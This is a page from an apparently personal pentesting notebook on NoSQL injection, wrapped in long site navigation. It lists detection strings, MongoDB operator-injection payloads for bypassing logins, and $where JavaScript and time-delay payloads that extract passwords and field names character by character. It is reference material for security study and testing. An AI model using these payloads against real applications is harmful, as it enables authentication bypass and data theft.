Rednote
GuidebooksTerminalCode
  • Welcome!
  • Utility
    • General
    • Server
    • Transferring File
      • Main
      • Code
      • Miscellaneous
    • Reverse & Bind Shells
      • Havoc
    • Metasploit
    • Service
      • FTP (21)
      • SSH (22)
      • DNS (53)
      • HTTP/HTTPS (80-443)
      • SMTP (25-465-587)
      • POP3 (110-995)
      • IMAP (143-993)
      • MySQL (3306)
      • MSSQL (1433-2433)
      • SMB (139-445)
      • RDP (3389)
      • WinRM (5985-5986)
      • WMI (135)
      • LLMNR & NBT-NS (5355-137)
      • NFS (111-2049)
      • SNMP (161-162)
      • VNC (5900)
      • Rsync (873)
      • R-Service (512-513-514)
      • IPMI (623)
      • Oracle TNS (1521)
  • Pentesting Process
    • Information Gathering
      • Passive
      • Active
      • OSINT
    • Vulnerability
    • Web Attacks
      • GENERAL
      • Crawling/Spidering & Fuzzing
      • Information Disclosure
      • Command Injection
      • Unrestricted File Upload
      • File Inclusion/Path Traversal
      • Request Smuggling
      • Clickjacking
      • Web Cache Poisoning
      • Web Cache Deception
      • Insecure Deserialization
      • Prototype Pollution
      • OAuth 2.0
      • JWT
      • SQLi
        • sqlmap
      • NoSQLi
      • GraphQL
      • XSS
      • SSRF
      • XXE
      • IDOR
      • API
      • SSTI
      • CSRF
      • CORS
      • AJP
      • SSI
      • ESI
      • XSLT
      • Cloud
      • LLM Prompt Security
    • Software Attacks
      • Binary
      • Shellcode
      • AV Evasion & Obfuscation
    • Network Attacks
      • ARP Poisoning
      • Local DNS Cache Poisoning
      • Baby Local DoS
    • Crypto Attacks
      • Utility
      • RSA
      • DSA/DSS
      • PRNG
        • LGC
        • MT
        • LFSR
    • Misc Attacks
    • Social Engineering
    • Password Cracking
      • Wordlist
      • Offline
      • Online
    • Pivoting & Tunneling
    • Local Enumeration
      • Linux
      • Windows
    • Privilege Escalation
      • Linux
        • Linux Privilege Escalation with Groups
        • Linux Privilege Escalation with Library
      • Windows
        • Windows Privilege Escalation with Groups and Privileges
        • Windows Privilege Escalation with DLL Hijacking
    • Active Directory
      • Enumeration
      • Abuse ACL
      • Extract Hash & Password
      • Pass The Hash
      • Pass The Ticket
      • Overpass the Hash
      • Relay Attack
      • Password Spraying Attack
      • AS-REP Roasting
      • Kerberoasting
      • Silver Ticket
      • Golden Ticket
      • DC Synchronization
      • AD Certificates
      • Attacking Domain Trusts
    • Reports
      • Bug Bounty Report
    • CVE
      • Linux
      • Windows
    • OTHER
      • CMS
        • WordPress
        • Joomla
        • Drupal
      • Tomcat
      • Jenkins
      • Splunk
      • Web Service
      • Navigating Python Objects
      • JavaScript Deobfuscation
  • Extra
    • My Books
    • My Exploits
    • Compiled Binaries
Powered by GitBook
On this page
  • Detection
  • Operator Injection
  • Extra

Was this helpful?

  1. Pentesting Process
  2. Web Attacks

NoSQLi

No SQL injection.

NoSQL databases store and retrieve data in a format other than traditional SQL relational tables. They use a wide range of query languages instead of a universal standard like SQL, and have fewer relational constraints.

Types:

  • Syntax injection

  • Operator injection

Detection

'"`{
;$Foo}
$Foo \xYZ
'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
'\"`{\r;$Foo}\n$Foo \\xYZ\u0000
# FALSE
' && 0 && 'x
# TRUE
' && 1 && 'x
'||'1'=='1

MongoDB may ignore all characters after a null character.

Operator Injection

You may be able to inject query operators to manipulate NoSQL queries.

$eq

Equal

$ne

Not equal

$gt

Greater than

$in

Documents that matches all of the values specified in an array.

$where

Documents that match a JavaScript expression.

$exists

Documents that have the specified field.

$regex

Documents where values ​​match a specified regex.

  • {"username":"wiener"} -> {"username":{"$ne":"invalid"}} username=wiener -> username[$ne]=invalid

    1. Convert the request method from GET to POST.

    2. Change the Content-Type header to application/json.

    3. Add JSON to the message body.

    4. Inject query operators in the JSON.

ex.

{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
{"username":"myuser","password":"mypassword", "$where":"0"}
{"username":"myuser","password":"mypassword", "$where":"1"}

Extra

If the query uses the $where operator, you can attempt to inject JavaScript functions into this query so that it returns sensitive data.

admin' && this.password[0] == 'a' || 'a'=='b
admin' && this.password.match(/\d/) || 'a'=='b

You may be able to use the keys() method to extract the name of data fields.

"$where":"Object.keys(this)[0].match('^.{0}a.*')"
"$where":"Object.keys(this)[0][0]=='a'"

Or other operator

"password":{"$regex":"^a*"}

You can also try with time delay

"$where": "sleep(5000)"
admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'
admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'

Last updated 4 months ago

Was this helpful?

You can try with (or use the extension):

Content Type Converter